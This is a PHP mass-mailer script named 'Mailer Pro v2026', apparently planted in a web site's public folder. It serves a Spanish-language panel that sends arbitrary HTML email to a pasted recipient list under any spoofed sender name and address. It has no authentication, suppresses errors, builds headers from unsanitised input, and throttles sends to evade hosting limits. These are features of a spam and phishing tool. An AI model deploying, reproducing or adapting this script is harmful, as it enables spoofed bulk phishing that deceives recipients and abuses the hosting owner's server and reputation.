File: /home/wbwebdes/domains/review.wb-media.eu/public_html/bdff39/maxmax2.php
<?php
/**
* Mailer Pro v2026 - Edición Blindada
*/
@set_time_limit(0);
error_reporting(0);
// Inicialización de variables por defecto
$message = "<html><body><h1>Hola, este es un mensaje de prueba.</h1></body></html>";
$subject = "Notificación Importante";
$nombre = "Servicios Globales";
$de = "noreply@" . ($_SERVER["HTTP_HOST"] ?? "servidor.com");
$ellos = "";
// Procesar el envío
if (isset($_POST['Enoc'])) {
$message = stripslashes($_POST['html']);
$subject = $_POST['assunto'];
$de = trim($_POST['de']);
$nombre = trim($_POST['RealName']);
$ellos = trim($_POST['ellos']);
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Mailer Pro v2026 | Consola de Envío</title>
<style>
body { font-family: 'Segoe UI', Tahoma, sans-serif; background: #f0f2f5; color: #333; padding: 20px; margin: 0; }
.container { max-width: 900px; margin: auto; background: white; padding: 30px; border-radius: 12px; box-shadow: 0 4px 20px rgba(0,0,0,0.1); }
h2 { color: #002464; border-bottom: 2px solid #0072ce; padding-bottom: 10px; margin-top: 0; }
label { font-size: 13px; font-weight: bold; color: #666; display: block; margin-bottom: 5px; }
input[type="text"], textarea { width: 100%; padding: 12px; margin-bottom: 15px; border: 1px solid #ddd; border-radius: 6px; box-sizing: border-box; font-size: 14px; }
.flex { display: flex; gap: 15px; }
.flex div { flex: 1; }
.btn { background: #002464; color: white; border: none; padding: 15px; border-radius: 6px; cursor: pointer; font-weight: bold; width: 100%; font-size: 16px; transition: 0.3s; }
.btn:hover { background: #0072ce; }
.log { margin-top: 25px; height: 250px; overflow-y: auto; background: #1a1a1a; color: #00ff00; padding: 15px; border-radius: 8px; font-family: 'Courier New', monospace; font-size: 12px; line-height: 1.5; }
</style>
</head>
<body>
<div class="container">
<h2>📧 Mailer Pro v2026 - Panel de Control</h2>
<form action="" method="post">
<div class="flex">
<div>
<label>De (Email Remitente):</label>
<input name="de" type="text" value="<?php echo htmlspecialchars($de); ?>" placeholder="[email protected]">
</div>
<div>
<label>Nombre que aparecerá:</label>
<input name="RealName" type="text" value="<?php echo htmlspecialchars($nombre); ?>">
</div>
</div>
<label>Asunto del Correo:</label>
<input name="assunto" type="text" value="<?php echo htmlspecialchars($subject); ?>">
<div class="flex">
<div style="flex: 2;">
<label>Cuerpo del Mensaje (HTML):</label>
<textarea name="html" rows="12"><?php echo htmlspecialchars($message); ?></textarea>
</div>
<div style="flex: 1;">
<label>Lista de Destinatarios (uno por línea):</label>
<textarea name="ellos" rows="12" placeholder="[email protected] [email protected]"><?php echo htmlspecialchars($ellos); ?></textarea>
</div>
</div>
<button type="submit" name="Enoc" class="btn">🚀 INICIAR PROCESO DE ENVÍO</button>
</form>
<?php
if (isset($_POST['Enoc']) && !empty($ellos)) {
echo '<div class="log"><strong>[SISTEMA] Iniciando secuencia...</strong><br>';
$emails = explode("\n", str_replace("\r", "", $ellos));
$total = count($emails);
// Cabeceras Técnicas
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type: text/html; charset=UTF-8" . "\r\n";
$headers .= "From: " . $nombre . " <" . $de . ">" . "\r\n";
$headers .= "Reply-To: " . $de . "\r\n";
$headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
$count = 1;
foreach ($emails as $email) {
$email = trim($email);
if (empty($email)) continue;
// Reemplazo dinámico
$personalMessage = str_replace('%email%', $email, $message);
// Envío con parámetro -f para validación de servidor
if (@mail($email, $subject, $personalMessage, $headers, "-f" . $de)) {
echo "[$count/$total] <span style='color:#0f0'>ENVIADO CORRECTAMENTE:</span> $email<br>";
} else {
echo "[$count/$total] <span style='color:#ff4444'>ERROR EN SERVIDOR:</span> $email<br>";
}
// Pausa de 1 segundo entre envíos para evitar bloqueos del hosting
usleep(500000); // 0.5 segundos
flush();
$count++;
}
echo "<strong>[FIN] Proceso terminado.</strong></div>";
echo "<script>alert('Envío finalizado');</script>";
}
?>
</div>
</body>
</html>